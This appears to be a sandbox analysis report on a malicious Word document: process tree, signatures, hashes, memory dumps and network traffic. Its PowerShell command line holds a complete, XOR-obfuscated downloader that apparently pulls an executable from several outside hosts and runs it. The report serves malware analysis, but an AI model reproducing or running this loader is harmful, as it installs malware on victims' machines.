memory/1884-22-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-21-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-20-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-18-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-19-0x0000000006460000-0x0000000006560000-memory.dmp

memory/1884-17-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-16-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-15-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-913-0x0000000070E4D000-0x0000000070E58000-memory.dmp

memory/1884-914-0x0000000006460000-0x0000000006560000-memory.dmp

memory/1884-915-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-916-0x0000000006460000-0x0000000006560000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

MD5 b0d3b29111f97793cec431252effcc9c
SHA1 d778292b9eed23abe5139d0ff60ba18995c06801
SHA256 74feb742e52c5e42ea6ff26e4281a57c4672434d12208c1670aa837c11ecde47
SHA512 e8f126e10e7a5fa12992c0231cc40a37e5e062b0843e90baf66cfa991060dccd67f443022f1ef7930f478c92ff62e5340f876137b8b8e9d047ce0e705adaae9a

memory/1884-932-0x0000000070E4D000-0x0000000070E58000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-25 19:31

Reported

2024-05-25 19:34

Platform

win10v2004-20240508-en

Max time kernel

149s

Max time network

149s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\PowersHell.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A sites.google.com N/A N/A
N/A sites.google.com N/A N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\PowersHell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\PowersHell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\PowersHell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc" /o ""

C:\Windows\System32\WindowsPowerShell\v1.0\PowersHell.exe

PowersHell .( ([stRINg]$verBOsEprEfeRENCe)[1,3]+'x'-JoIN'') ([stRIng]::jOIN( '' , ( '46p71X89,125H82,73w42E55{42{100,111-125w39,101,104~96,111X105~126H42~120~107-100G110H101-103G49X46p67w120E95,83~88H105,42{55~42p100H111~125~39E101,104w96H111H105G126-42{89~115-121,126w111G103,36~68,111H126-36w93X111X104H73,102G99H111-100p126X49G46~91X123~95{99~76w42E55~42p45-98,126E126-122G48-37H37{125{125p125,36w105H101p120E120H99G110G107H99G126p107p102G99~107{100X107G36X105X102~37G75w69{91~68H68{124H96p125p37-74,98w126H126-122~48E37p37G125,125{125G36p98G101X103H111,110{111X105H101H120-121X127-122H122p102w99~111-120w121p36-126~97p37~59G99~72w80w88,107H110w72w107-120H37X74H98{126G126w122G48G37H37-125,125H125w36E105X101X122X126p99~105p122E101p122-111H36X101X120p109X37H88~68H78E66E122~95p78,37p74G98E126w126{122,48-37{37p122H111G126X111w125-99-102H102X99{107H103X121w36,99G100E108X101H37G102G89G70{121p88p65X108~58p37-74p98X126,126{122{48H37w37{125~125E125p36G104~102~127{111-121G125G36w100X111E126G37-92-64w59G59{59E105H91H56G60E37p45G36w89w122p102E99w126{34X45w74E45E35E49X46-68X64G121-125p69,42w55G42,46,71~89~125E82~73p36H100w111H114-126E34p59-38H42{59X62p59X59w62{60G35H49{46H66,120G122-125~64G89G42w55p42X46{111{100w124E48{126G111w103H122X42p33G42w45p86,45w42w33~42w46w68,64-121H125,69,42{33p42,45,36-111p114,111G45-49H108-101p120G111-107,105{98E34E46~92w126E78-126G88,42p99H100G42w46H91~123G95w99~76-35H113{126~120H115H113-46{67X120p95E83{88G105-36p78G101E125p100E102w101E107~110H76~99H102-111H34G46p92H126{78E126-88E36~94{101G89p126G120H99-100p109w34w35H38w42E46{66p120{122-125,64,89E35p49w89H126w107w120E126H39p90{120H101{105~111G121,121{42G46p66p120{122w125G64-89G49X104X120{111p107w97,49G119p105G107H126H105-98E113-125H120G99E126{111,39{98p101{121p126{42~46E85E36{79p114H105H111-122G126,99X101w100~36E71p111~121E121,107p109p111E49{119~119'.SplIT('EG,wX~H{p-' )|fOrEach{ [ChaR]($_ -BxoR '0x0a')}) ))

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 144.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 www.corridaitaliana.cl udp
CL 200.1.123.75:80 www.corridaitaliana.cl tcp
US 8.8.8.8:53 sites.google.com udp
GB 142.250.179.238:443 sites.google.com tcp
US 8.8.8.8:53 www.homedecorsuppliers.tk udp
US 8.8.8.8:53 www.copticpope.org udp
US 8.8.8.8:53 75.123.1.200.in-addr.arpa udp
US 8.8.8.8:53 238.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 petewilliams.info udp
DE 18.192.94.96:80 petewilliams.info tcp
DE 18.192.94.96:443 petewilliams.info tcp
US 8.8.8.8:53 www.bluesw.net udp
US 8.8.8.8:53 96.94.192.18.in-addr.arpa udp
US 8.8.8.8:53 90.16.208.104.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
NL 23.62.61.162:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 2.17.251.32:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 162.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 32.251.17.2.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/2476-0-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

memory/2476-1-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

memory/2476-2-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

memory/2476-3-0x00007FF86C08D000-0x00007FF86C08E000-memory.dmp

memory/2476-4-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

memory/2476-5-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

memory/2476-7-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-6-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-8-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-9-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-10-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-11-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-13-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-12-0x00007FF8298A0000-0x00007FF8298B0000-memory.dmp

memory/2476-16-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-18-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-19-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-17-0x00007FF8298A0000-0x00007FF8298B0000-memory.dmp

memory/2476-20-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-15-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-14-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-31-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-35-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-34-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/3712-36-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_woxaqu1a.chs.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3712-46-0x000001DA28F10000-0x000001DA28F32000-memory.dmp

memory/3712-52-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCD9E23.tmp\gb.xsl

MD5 51d32ee5bc7ab811041f799652d26e04
SHA1 412193006aa3ef19e0a57e16acf86b830993024a
SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA512 5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

memory/2476-454-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-536-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-537-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

memory/2476-558-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

memory/2476-557-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

memory/2476-559-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

memory/2476-560-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

memory/2476-561-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp